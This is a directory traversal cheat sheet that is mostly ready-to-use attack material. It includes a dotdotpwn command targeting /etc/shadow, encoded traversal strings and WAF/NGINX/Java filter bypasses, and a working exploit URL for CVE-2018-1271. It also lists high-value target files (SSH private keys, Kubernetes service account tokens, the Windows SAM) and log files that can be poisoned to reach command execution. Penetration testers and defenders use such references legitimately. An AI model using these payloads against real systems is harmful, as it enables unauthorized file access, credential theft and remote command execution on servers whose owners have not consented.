Directory traversal

> A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.

Summary

Tools

- dotdotpwn - https://github.com/wireghoul/dotdotpwn

  ```
  git clone https://github.com/wireghoul/dotdotpwn
  perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
  ```

Basic exploitation

We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.

```
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
```

16 bits Unicode encoding

```
. = %u002e
/ = %u2215
\ = %u2216
```

UTF-8 Unicode encoding

```
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
```

Bypass "../" replaced by ""

Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them.

```
..././
...\.\
```

Bypass "../" with ";"

```
..;/
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt
```

Double URL encoding

```
. = %252e
/ = %252f
\ = %255c
```

e.g: Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with `http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini`

UNC Bypass

An attacker can inject a Windows UNC share ('\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.

```
\\localhost\c$\windows\win.ini
```

NGINX/ALB Bypass

NGINX in certain configurations and ALB can block traversal attacks in the route, For example: `http://nginx-server/../../` will return a 400 bad request.

To bypass this behaviour just add forward slashes in front of the url: `http://nginx-server////////../../`

Java Bypass

Bypass Java's URL protocol

```
url:file:///etc/passwd
url:http://127.0.0.1:8080
```

Path Traversal

Interesting Linux files

```
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db
```

Interesting Windows files

Always existing file in recent Windows machine. Ideal to test path traversal but nothing much interesting inside...

```
c:\windows\system32\license.rtf
c:\windows\system32\eula.txt
```

Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)

```
c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system
```

The following log files are controllable and can be included with an evil payload to achieve a command execution

```
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
```

References

- Path Traversal Cheat Sheet: Windows
- Directory traversal attack - Wikipedia
- CWE-40: Path Traversal: '\UNC\share\name' (Windows UNC Share) - CWE Mitre - December 27, 2018
- NGINX may be protecting your applications from traversal attacks without you even knowing
- Directory traversal - Portswigger